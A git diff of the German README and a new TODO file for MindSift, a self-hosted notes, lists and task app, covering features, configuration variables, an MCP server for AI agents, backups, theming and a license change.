* **Zoom-Fokus** per Klick auf den Bullet, Breadcrumbs zum Zurücknavigieren.
|
* **Zoom-Fokus** per Klick auf den Bullet, Breadcrumbs zum Zurücknavigieren; **Fokus-Modus** (`Strg+Umschalt+F`) zeigt nur die Notiz in Lesebreite, Ordner gleiten bei Bedarf von links herein.
|
||||||
* Blocktypen und Slash-Befehle: `/todo`, `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`.
|
* **Journal:** eine Notiz pro Tag, alle Tage untereinander (heute oben, ältere laden beim Scrollen nach), mit Kalender zum Springen; einzelne Tage lassen sich teilen. Pro Gerät abschaltbar.
|
||||||
* Wiki-Links `[[Notiz]]`, Links und `#Hashtags`; Tag-Seiten bündeln alle Fundstellen.
|
* Blocktypen und Slash-Befehle: `/todo`, `/number` (nummerierte Liste: 1., a., i.), `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`, `/extract`, `/image`, `/audio`, `/diktat`.
|
||||||
|
* **Bilder & Audio in Notizen:** `/image` (Datei, Kamera, Zwischenablage oder Link), `/audio` (Sprachnotiz oder Datei-Upload) und `/diktat` (Live-Transkription).
|
||||||
|
* **Link-Vorschau:** Vorschaukarte (Titel, Beschreibung, Bild) für Punkte, die nur aus einer Web-Adresse bestehen, z. B. über `/link`; die Seite ruft der Server ab, nicht dein Browser. Pro Gerät abschaltbar.
|
||||||
|
* **Ast auslagern & Notizen zusammenführen:** Bulletpoints samt Unterbaum in eigenständige Notizen auslagern (`/extract`) oder Notizen per Drag & Drop bzw. Menü zusammenführen (jeweils mit vollständiger Rückgängig-Funktion).
|
||||||
|
* Wiki-Links `[[Notiz]]`, auch auf **einzelne Punkte** (`[[Notiz#^id|Text]]`, kopierbar an jedem Punkt), Links und `#Hashtags`; Tag-Seiten bündeln alle Fundstellen.
|
||||||
* Ordner, Favoriten, **To-Do-Rollup** über alle Notizen und Export einer Notiz als `.md`.
|
* Ordner, Favoriten, **To-Do-Rollup** über alle Notizen und Export einer Notiz als `.md`.
|
||||||
* Einfügen von mehrzeiligem Markdown wird in Blöcke zerlegt; `Strg+Z` / `Strg+Umschalt+Z` nimmt eigene Änderungen zurück bzw. stellt sie wieder her.
|
* Eingefügtes Markdown wird zur Gliederung: Überschriften werden zu Abschnitten mit eingerücktem Inhalt, Listen (auch nummeriert) behalten ihre Ebenen, Absätze werden eigene Punkte. Kürzel beim Tippen: `- `, `1. `, `[] `, `# `, `Strg+B`/`I`/`K`. `Strg+Z` / `Strg+Umschalt+Z` nimmt eigene Änderungen zurück bzw. stellt sie wieder her.
|
||||||
* **Teilen:** Notizen und ganze Ordner lassen sich Benutzern oder Gruppen als **Bearbeiter** oder **Leser** freigeben. Empfänger sortieren sie in ihren eigenen Baum ein.
|
* **Teilen:** Notizen und ganze Ordner lassen sich Benutzern oder Gruppen als **Bearbeiter** oder **Leser** freigeben. Empfänger sortieren sie in ihren eigenen Baum ein.
|
||||||
|
|
||||||
#### 🤝 Gemeinsam bearbeiten
|
#### 🤝 Gemeinsam bearbeiten
|
||||||
|
|
||||||
* **Live:** Mehrere Personen schreiben gleichzeitig in derselben Notiz; Änderungen erscheinen bei den anderen in Bruchteilen einer Sekunde. Der Kopf der Notiz zeigt, wer gerade mitliest.
|
* **Live:** Mehrere Personen schreiben gleichzeitig in derselben Notiz; Änderungen erscheinen bei den anderen in Bruchteilen einer Sekunde. Die Leiste über der Notiz zeigt, wer gerade mitliest.
|
||||||
* **Kein Überschreiben:** Wer in einem Bullet schreibt, hält ihn kurz für sich; andere sehen ein Schloss mit Namen und arbeiten in den übrigen Bullets weiter. Kommt es doch zu einem Konflikt (z. B. nach Offline-Arbeit), bleibt der zweite Text als markierte Kopie mit „Übernehmen“/„Verwerfen“ erhalten.
|
* **Kein Überschreiben:** Wer in einem Bullet schreibt, hält ihn kurz für sich; andere sehen ein Schloss mit Namen und arbeiten in den übrigen Bullets weiter. Kommt es doch zu einem Konflikt (z. B. nach Offline-Arbeit), bleibt der zweite Text als markierte Kopie mit „Übernehmen“/„Verwerfen“ erhalten.
|
||||||
* **Offline-fest:** Jede Eingabe wird zuerst im Browser gesichert und später übertragen, auch nach Neuladen oder Tagen ohne Netz.
|
* **Offline-fest:** Jede Eingabe wird zuerst im Browser gesichert und später übertragen, auch nach Neuladen oder Tagen ohne Netz.
|
||||||
* **Hinter strengen Proxys:** WebSocket → SSE → Long-Polling → Abfrage alle 3 s; MindSift wählt automatisch, was durchkommt. Der aktive Weg steht im Editor („Live“, „Abgleich alle 3 s“).
|
* **Hinter strengen Proxys:** WebSocket → SSE → Long-Polling → Abfrage alle 3 s; MindSift wählt automatisch, was durchkommt. Der aktive Weg steht in der Leiste über der Notiz („Live“, „Abgleich alle 3 s“).
|
||||||
|
|
||||||
Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md).
|
Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md).
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="screenshots/workspace_desktop.png" alt="MindSift Workspace Outliner" width="90%" />
|
<img src="screenshots/workspace_desktop.webp" alt="MindSift Workspace: zwei Personen in derselben Notiz" width="90%" />
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="screenshots/journal_desktop.webp" alt="MindSift Journal mit Kalender" width="90%" />
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
### 🛒 Geteilte Listen
|
### 🛒 Geteilte Listen
|
||||||
|
|
||||||
* Einkaufs-, Pack- und Checklisten mit Kategorien per Hashtag (`Hafermilch #Kühlregal`), Mengenangaben und Drag & Drop zwischen Kategorien.
|
* Einkaufs-, Pack- und Checklisten mit Kategorien per Hashtag (`Hafermilch #Kühlregal`), Mengenangaben und Drag & Drop zwischen Kategorien oder in eine andere Liste.
|
||||||
* Freigabe an Benutzer und Gruppen (Bearbeiter oder Leser); abgehakte Einträge erscheinen bei allen in Echtzeit.
|
* Freigabe an Benutzer und Gruppen (Bearbeiter oder Leser); abgehakte Einträge erscheinen bei allen in Echtzeit.
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="screenshots/Listen_desktop.png" alt="MindSift Geteilte Listen" width="90%" />
|
<img src="screenshots/Listen_desktop.webp" alt="MindSift Geteilte Listen" width="90%" />
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
### 🏢 Benutzer, Gruppen, Administration
|
### 🏢 Benutzer, Gruppen, Administration
|
||||||
|
|
||||||
* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*, Einladungscodes, optional offene Registrierung.
|
* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*. Einladungen als Code oder Link (auch für mehrere Personen, auf Wunsch per E-Mail verschickt). Registrierung ohne Einladung wahlweise geschlossen, mit Freigabe durch einen Admin, nur für bestimmte E-Mail-Endungen oder offen, auf Wunsch mit Bestätigung der E-Mail-Adresse per Link – auch fest per Umgebungsvariable.
|
||||||
* Gruppen mit Gruppen-Admins für Freigaben.
|
* Gruppen mit Gruppen-Admins für Freigaben.
|
||||||
* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus.
|
* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus, Sicherungen, Spracherkennung.
|
||||||
* Vier Themes (Dark, Light, High-Contrast, Soft), installierbar als PWA.
|
|
||||||
|
### 🎨 Darstellung & App
|
||||||
|
|
||||||
|
* **Fünf Farbfamilien** mit je einer hellen und dunklen Variante: Klassik, Fjord, Terrakotta, Polarized, Suri. Hell/Dunkel auf Wunsch „Wie System“, dazu eine eigene Akzentfarbe, Ecken rund oder eckig und Knöpfe mit oder ohne Rahmen (pro Gerät). Für eigene Themes gibt es einen Theme-Manager (eine CSS-Datei).
|
||||||
|
* **Installierbar als App (PWA)** auf Smartphone und Desktop. Sie startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center"><img src="screenshots/Theme_fjord.webp" alt="Farbfamilie Fjord, links hell, rechts dunkel" /><br /><sub><b>Fjord</b></sub></td>
|
||||||
|
<td align="center"><img src="screenshots/Theme_terracotta.webp" alt="Farbfamilie Terrakotta, links hell, rechts dunkel" /><br /><sub><b>Terrakotta</b></sub></td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td align="center"><img src="screenshots/Theme_polarized.webp" alt="Farbfamilie Polarized, links hell, rechts dunkel" /><br /><sub><b>Polarized</b></sub></td>
|
||||||
|
<td align="center"><img src="screenshots/Theme_suri.webp" alt="Farbfamilie Suri, links hell, rechts dunkel" /><br /><sub><b>Suri</b></sub></td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
### 🔌 Integrationen
|
### 🔌 Integrationen
|
||||||
|
|
||||||
* **Webhook / API-Key:** `POST /api/v1/webhooks/ingest` legt Aufgaben aus Smarthome, Skripten oder Automationen an.
|
* **Eingehend (API-Key):** `POST /api/v1/webhooks/ingest` legt Gedanken, Aufgaben oder Listeneinträge aus Smarthome, Skripten oder Automationen an.
|
||||||
* Persönliche API-Keys, Datenexport als JSON.
|
* **KI-Agenten (MCP):** MindSift ist ein MCP-Server (`POST /api/v1/mcp`, Streamable HTTP). Claude Code, OpenAI Codex, Claude Desktop, Cursor und eigene Agenten lesen offene Aufgaben, haken sie ab, legen neue an und führen Einkaufs- und Checklisten. Pro API-Key schaltbar (lesen/ändern, Aufgaben/Listen); Notizen bleiben außen vor. `claude mcp add --transport http mindsift https://…/api/v1/mcp --header "X-API-Key: mindsift_sec_…"`
|
||||||
|
* **Ausgehend:** eigener Webhook als Benachrichtigungskanal (JSON per POST), Discord, E-Mail, Push.
|
||||||
|
* Persönliche API-Keys, Datenexport als JSON, Markdown-Archiv (Obsidian-kompatibel).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -123,12 +157,14 @@ curl -fsSL https://git.dsit.me/sandrodach/MindSift/raw/branch/dev/.env.example -
|
|||||||
docker compose up -d
|
docker compose up -d
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Alle Einstellungen stehen mit Erklärung in `.env`. Optional kommt eine eigene Spracherkennung dazu: Block `whisper` in `docker-compose.yml` einkommentieren und `STT_URL=http://whisper:8000` setzen (Anleitung in der Datei).
|
||||||
|
|
||||||
Minimal:
|
Minimal:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
services:
|
services:
|
||||||
mindsift:
|
mindsift:
|
||||||
image: git.dsit.me/sandrodach/mindsift:v0.2 # feste Version; :dev = neuester Entwicklungsstand
|
image: git.dsit.me/sandrodach/mindsift:latest # :latest = Stand von main (jede Version), :dev = Entwicklungsstand
|
||||||
restart: unless-stopped
|
restart: unless-stopped
|
||||||
ports: ["8080:8080"]
|
ports: ["8080:8080"]
|
||||||
volumes: ["./data:/data"]
|
volumes: ["./data:/data"]
|
||||||
@@ -141,7 +177,7 @@ services:
|
|||||||
|
|
||||||
Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch das Anlegen des Administrator-Kontos.
|
Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch das Anlegen des Administrator-Kontos.
|
||||||
|
|
||||||
> ⚠️ **Setze `JWT_SECRET`.** Ohne Angabe nutzt der Server einen öffentlich bekannten Standardwert, mit dem sich Anmelde-Tokens fälschen lassen. Rufe die Instanz außerdem direkt nach dem Start auf, damit kein Fremder das erste Konto anlegt.
|
> ⚠️ **`JWT_SECRET`:** Ohne Angabe (oder mit einem der Platzhalter aus den Beispielen) erzeugt der Server beim ersten Start einen Zufallswert und speichert ihn als `jwt.secret` im Datenverzeichnis. Für Produktion lieber selbst einen langen Zufallswert setzen. Rufe die Instanz außerdem direkt nach dem Start auf, damit kein Fremder das erste Konto anlegt.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -151,17 +187,34 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `PORT` | `8080` | HTTP-Port |
|
| `PORT` | `8080` | HTTP-Port |
|
||||||
| `DATA_DIR` | `/data` (Container) | Ablage der Datenbank `mindsift.db` |
|
| `DATA_DIR` | `/data` (Container) | Ablage der Datenbank `mindsift.db` |
|
||||||
| `JWT_SECRET` | unsicherer Standard | **Pflicht in Produktion**, Signaturschlüssel |
|
| `JWT_SECRET` | zufällig erzeugt (`/data/jwt.secret`) | Signaturschlüssel der Anmelde-Tokens; Platzhalter werden ignoriert |
|
||||||
| `BASE_URL` | `http://localhost:8080` | Öffentliche URL |
|
| `BASE_URL` | `http://localhost:8080` | Öffentliche URL. Nur wenn gesetzt (und SMTP eingerichtet ist), gibt es „Passwort vergessen?“ – die Links in den Mails werden ausschließlich daraus gebaut |
|
||||||
| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
|
| `TRUSTED_PROXIES` | `private` | Wessen `X-Forwarded-For`/`X-Real-IP` geglaubt wird: `private` (Proxy im Docker-/Heimnetz), `all` (immer, früheres Verhalten), `none` oder eigene CIDR-Bereiche ([Doku/reverse-proxy.md](Doku/reverse-proxy.md#client-ip-und-trusted_proxies)) |
|
||||||
|
| `LOGIN_PROTECTION` | `true` | Sperre nach Fehlversuchen: 3 pro Konto und Adresse, 20 pro Konto, 30 pro Adresse, jeweils 15 Minuten. `false` schaltet sie ab |
|
||||||
|
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme (ganztägige Aufgaben melden sich um 9:00) |
|
||||||
|
| `REGISTRATION_MODE` | leer (Admin-UI entscheidet) | Registrierung ohne Einladung: `closed`, `approval` (Admin gibt frei), `domain` (nur erlaubte E-Mail-Endungen), `domain+approval` (Endungen sofort, andere nach Freigabe), `open`. Gesetzt ist es im Admin-UI gesperrt |
|
||||||
|
| `REGISTRATION_DOMAINS` | leer | Erlaubte E-Mail-Endungen für die `domain`-Modi, z. B. `firma.de, *.firma.de`; gesetzt im Admin-UI gesperrt |
|
||||||
|
| `REGISTRATION_VERIFY_EMAIL` | leer (Admin-UI entscheidet) | `true`: Wer sich ohne Einladung registriert, bestätigt zuerst seine E-Mail-Adresse per Link (braucht SMTP und `BASE_URL`); unbestätigte Konten werden nach 48 Stunden gelöscht |
|
||||||
|
| `ALLOW_REGISTRATION` | `false` | `true` = wie `REGISTRATION_MODE=open` (gesperrt); `false` lässt die Wahl dem Admin-UI |
|
||||||
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
|
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
|
||||||
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) |
|
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) |
|
||||||
|
| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders bei E-Mails |
|
||||||
|
| `SMTP_SKIP_VERIFY` | `false` | Zertifikatsprüfung für interne Mailserver abschalten |
|
||||||
|
| `NOTIFY_DIGEST_MINUTES` | `5` | Bündelungsintervall für Benachrichtigungen in Minuten |
|
||||||
|
| `VAPID_PUBLIC_KEY`, `VAPID_PRIVATE_KEY`, `VAPID_SUBJECT` | automatisch | Schlüssel für Push-Benachrichtigungen; ohne Angabe einmal erzeugt und in der Datenbank gespeichert. `VAPID_SUBJECT` (Kontakt für die Push-Dienste, `mailto:` oder `https://`) sonst aus `BASE_URL` |
|
||||||
|
| `MEDIA_*` | diverse | Grenzen für Bilder und Audio in Notizen (`MEDIA_MAX_IMAGE_MB=15`, `MEDIA_MAX_AUDIO_MB=50`, `MEDIA_QUOTA_MB=0`) |
|
||||||
|
| `STT_*` | diverse | Optionale eigene Spracherkennung per Whisper (`STT_URL`, `STT_MODEL`, `STT_LANGUAGE` …; siehe [Doku/architecture.md](Doku/architecture.md#spracherkennung)) |
|
||||||
|
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
|
||||||
|
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
|
||||||
|
| `LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL` | leer | Zusätzlicher Link im Footer (z. B. Statusseite), nur `https` |
|
||||||
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
|
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
|
||||||
|
| `DEMO_RESET_MINUTES` | `20` | Nur im Demo-Modus: setzt die Datenbank in diesem Abstand auf die Beispieldaten zurück (`0` = nie). Angemeldete bleiben angemeldet, die App zeigt einen Countdown und lädt danach neu. |
|
||||||
|
|
||||||
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
|
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
|
||||||
* **Datensicherung:** Alle Daten liegen in `data/mindsift.db` (+ `-wal`/`-shm`). Sichere sie mit `sqlite3 mindsift.db ".backup 'backup.db'"` oder bei gestopptem Container. Zusätzlich gibt es einen JSON-Export pro Benutzer.
|
* **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
|
||||||
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
|
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
|
||||||
* **Image-Tags:** Jeder Git-Tag erzeugt ein gleichnamiges Image (`:v0.2`), jeder Branch eines mit dem Branch-Namen (`:dev`).
|
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main` (jede neue Version landet dort). Ein Git-Tag wie `v1.2.0` erzeugt zusätzlich `:v1.2.0` und `:stable`; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht.
|
||||||
|
* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -182,12 +235,12 @@ npm run test:run # Komponententests (Vitest, jsdom)
|
|||||||
npm run build # Produktions-Build
|
npm run build # Produktions-Build
|
||||||
cd ..
|
cd ..
|
||||||
e2e/run.sh # Browser-Tests (Playwright, zwei Benutzer) gegen ein frisch gebautes Image
|
e2e/run.sh # Browser-Tests (Playwright, zwei Benutzer) gegen ein frisch gebautes Image
|
||||||
APP_VERSION=v0.2 e2e/screenshots.sh # Screenshots dieser README neu erzeugen (Demo-Daten)
|
e2e/screenshots.sh # Screenshots dieser README neu erzeugen (Demo-Daten, hell/dunkel diagonal)
|
||||||
```
|
```
|
||||||
|
|
||||||
Für das Binary wird das gebaute Frontend nach `cmd/server/dist` kopiert (`go:embed`); das mehrstufige `Dockerfile` erledigt das und führt Typprüfung, Frontend-Tests, Go-Vet und Go-Tests beim Image-Build aus.
|
Für das Binary wird das gebaute Frontend nach `cmd/server/dist` kopiert (`go:embed`); das mehrstufige `Dockerfile` erledigt das und führt Typprüfung, Frontend-Tests, Go-Vet und Go-Tests beim Image-Build aus.
|
||||||
|
|
||||||
**Stack:** Go (chi, gorilla/websocket, JWT, modernc SQLite) · React 18, TypeScript, Vite, Tailwind.
|
**Stack:** Go (chi, gorilla/websocket, JWT, modernc SQLite, webpush-go) · React 18, TypeScript, Vite, Tailwind.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -199,14 +252,14 @@ Die technische Doku liegt unter [Doku/](Doku/README.md): Architektur, Datenbank,
|
|||||||
|
|
||||||
## 🔒 Deine Daten gehören dir
|
## 🔒 Deine Daten gehören dir
|
||||||
|
|
||||||
* Selbst gehostet, keine Telemetrie, keine Fremddienste. Ausgehende Verbindungen gibt es nur zu den Alarm-Zielen, die du selbst einrichtest (SMTP, Discord, Webhook).
|
* Selbst gehostet, keine Telemetrie, keine Fremddienste, Schrift und Icons werden mitgeliefert. Ausgehende Verbindungen baut nur der Server auf, und nur für das, was du nutzt: Benachrichtigungen (SMTP, Discord, eigener Webhook, die Push-Dienste der Browser), Link-Vorschauen (die verlinkte Seite wird einmal abgerufen, pro Gerät abschaltbar) und optional dein eigener Whisper-Server.
|
||||||
* Alle Inhalte liegen in einer einzigen SQLite-Datei; Notizen lassen sich als Markdown exportieren, alle Daten eines Benutzers als JSON.
|
* Alle Inhalte liegen in einer einzigen SQLite-Datei; Bilder und Sprachnotizen liegen daneben in `data/media/`. Der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP, mit `attachments/`) exportieren, alle Daten eines Benutzers als Backup-ZIP (JSON plus Mediendateien).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 📄 Lizenz
|
## 📄 Lizenz
|
||||||
|
|
||||||
Im Repository liegt derzeit keine `LICENSE`-Datei; die Lizenz ist damit nicht festgelegt.
|
MindSift ist gemeinfrei unter [The Unlicense](LICENSE): Du darfst den Code ohne jede Bedingung nutzen, ändern, weitergeben und verkaufen, auch ohne Namensnennung. Es gibt keine Gewährleistung.
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
<sub>Gebaut für Klarheit, Geschwindigkeit und digitale Souveränität.</sub>
|
<sub>Gebaut für Klarheit, Geschwindigkeit und digitale Souveränität.</sub>
|
||||||
|
|||||||
@@ -0,0 +1,294 @@
|
|||||||
|
# 📋 MindSift – Projekt-TODOs
|
||||||
|
|
||||||
|
> **Zweck & Kontext:**
|
||||||
|
> Diese Datei enthält strukturierte, technische Arbeitsaufträge und Feature-Spezifikationen für ausführende Entwickler- und Agenten-KIs.
|
||||||
|
> Sie wird fortlaufend gepflegt, priorisiert und mit konkreten Implementierungsdetails angereichert.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📱 Frontend – Mobile Version
|
||||||
|
*Aufgaben, UI/UX und Touch-Optimierungen für Smartphones & Tablets.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🖥️ Frontend – Desktop Version
|
||||||
|
*UI/UX, Tastatur-Shortcuts, Layouts und Ansichten für Desktop-Browser.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚙️ Backend & Schnittstellen
|
||||||
|
*Go-Services, SQLite-Persistenz, REST/WebSocket-Endpunkte und Hintergrundjobs.*
|
||||||
|
|
||||||
|
### Allgemein / Core
|
||||||
|
### Mobile-spezifisch
|
||||||
|
- [ ] *(Aktuell keine offenen Aufgaben)*
|
||||||
|
|
||||||
|
### Desktop-spezifisch
|
||||||
|
- [ ] *(Aktuell keine offenen Aufgaben)*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 💡 Konzept, UX & Planung
|
||||||
|
*Architektur, UI-Guidelines und systemübergreifende Entscheidungen.*
|
||||||
|
|
||||||
|
- [ ] **Anmeldung per OpenID Connect** (zurückgestellt, aktuell kein Bedarf) – Login über Gitea, Authentik, Google & Co. Ausgearbeitet in [Doku/plans/registrierung-und-login.md](Doku/plans/registrierung-und-login.md), Abschnitt 4.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📋 Organisation & Dokumentation
|
||||||
|
*Tickets, Dokumentation, Release-Vorbereitungen und DevOps/Deployment.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📦 Verschiedenes / Backlog
|
||||||
|
*Unsortierte Notizen, vage Ideen und Sonstiges.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ✅ Erledigt
|
||||||
|
*Abgeschlossene Aufgaben und Features mit Referenz.*
|
||||||
|
|
||||||
|
- [x] **Theme-Manager in den Benutzereinstellungen (Upload & CSS-Editor im WordPress-Stil)** *(Commit `bf0d68e`)*
|
||||||
|
- Theme-Upload (`.css`-Dateien), Copy-Paste von CSS, Vorlagen-Download/Kopieren, dynamische Live-Injection via `<style id="mindsift-custom-theme">` und Einbindung in die Theme-Galerie.
|
||||||
|
- [x] **Persistenz für benutzerdefinierte Themes in SQLite & API-Endpunkte** *(Commit `bf0d68e`)*
|
||||||
|
- SQLite-Tabelle `user_themes` und REST-Endpunkte (`GET / POST / DELETE /api/v1/themes`) für persistente Custom-Themes pro Benutzer.
|
||||||
|
- [x] **Admin-Einstellungen: Checkboxen für SMTP durch Toggle-Switches ersetzen** *(Commit `ce321ce`)*
|
||||||
|
- SMTP-Haken sind Toggle-Switches (`ToggleSwitch`), neuer Schalter „Zertifikatsprüfung deaktivieren“.
|
||||||
|
- [x] **SMTP-Client & E-Mail-Alarme härten (Fix: `451 4.3.2 Internal server error`)** *(Commit `ce321ce`)*
|
||||||
|
- Expliziter SMTP-Ablauf mit Fehlerangabe pro Schritt (`smtp_step`), EHLO mit Absender-Domain, nackte Adresse im Umschlag, `Date`/`Message-ID`, kodierter Betreff; Tests gegen Fake-SMTP-Server.
|
||||||
|
- [x] **Option zur Deaktivierung der TLS-Zertifikatsprüfung für SMTP (`smtpSkipVerify`)** *(Commit `ce321ce`)*
|
||||||
|
- `SMTP_SKIP_VERIFY` in Config, Systemeinstellungen und Admin-UI; gilt für Port 465 und STARTTLS.
|
||||||
|
- [x] **Zentrale `CountBadge`-Komponente & einheitliches Theming schaffen** *(Commit `a62b204`)*
|
||||||
|
- `CountBadge` (accent/muted, inline/corner, 99+) für Navigation, Tabs, Admin und mobiles Menü; `badge-count` entfernt; Vorlage leitet Akzent-Töne aus der Akzentfarbe ab.
|
||||||
|
- [x] **Aufgaben-Counter im mobilen Listen-Menü für „Alle Aufgaben" ergänzen** *(Commit `a62b204`)*
|
||||||
|
- „Alle Aufgaben“ zeigt im mobilen Menü die Zahl offener Aufgaben (inkl. geteilter Listen).
|
||||||
|
- [x] **Aufgaben-Counter im Tab „Alle Aufgaben" anzeigen** *(Commit `a62b204`)*
|
||||||
|
- Zähler am Tab; Backend zählt offene Aufgaben jetzt wie die Ansicht „Alle Aufgaben“ (auch fremde Aufgaben in geteilten Listen).
|
||||||
|
- [x] **Badge-Positionierung in Tabs an Titelleiste/App-Icons angleichen (Top-Right)** *(Commit `a62b204`)*
|
||||||
|
- Zähler sitzen oben rechts an den Tabs der Aufgabenlisten und Listen.
|
||||||
|
- [x] **Impressum- & Datenschutz-Links im Login- und Einstellungs-Footer (mit Auto-Hide)** *(Commit `d6c70d7`)*
|
||||||
|
- Links unter der Anmelde-/Einrichtungsbox und im Footer der Kontoeinstellungen (`LegalLinks`): URL im neuen Tab, Markdown im Lesefenster, unsichtbar ohne Konfiguration.
|
||||||
|
- [x] **Konfigurierbare Rechtstexte (Impressum & Datenschutz via ENV)** *(Commit `d6c70d7`)*
|
||||||
|
- `LEGAL_IMPRINT_/PRIVACY_URL` und `…_CONTENT` (auch `…_CONTENT_FILE`), nur `http(s)`-URLs; `legal` in `/auth/status`, öffentlich `GET /api/v1/legal/{imprint|privacy}`.
|
||||||
|
- [x] **„Über MindSift"-Bereich mit Versionsinfo & GitHub-Link** *(Commit `d6c70d7`)*
|
||||||
|
- Fenster „Über MindSift“ (Version, Lizenz, Philosophie, Repository-Link) aus Kontoeinstellungen und Hilfe; Link/Lizenz als Konstanten in `AboutModal.tsx` (Repo zeigt auf git.dsit.me, Lizenz noch nicht festgelegt).
|
||||||
|
- [x] **Markdown-Tree-Export als direktes Streaming-ZIP (Obsidian-kompatibel)** *(Commit `e509f68`)*
|
||||||
|
- `GET /api/v1/export/markdown` streamt die ZIP ohne Temp-Dateien: Ordnerstruktur wie im Workspace (inkl. geteilter), YAML-Frontmatter, Obsidian-taugliches Markdown, `Aufgaben/` im Tasks-Plugin-Format, `Listen/`.
|
||||||
|
- [x] **Globale Schnellsuche & Spotlight-Palette (`Cmd+K` / `Ctrl+K`)** *(Commit `71fa53e`)*
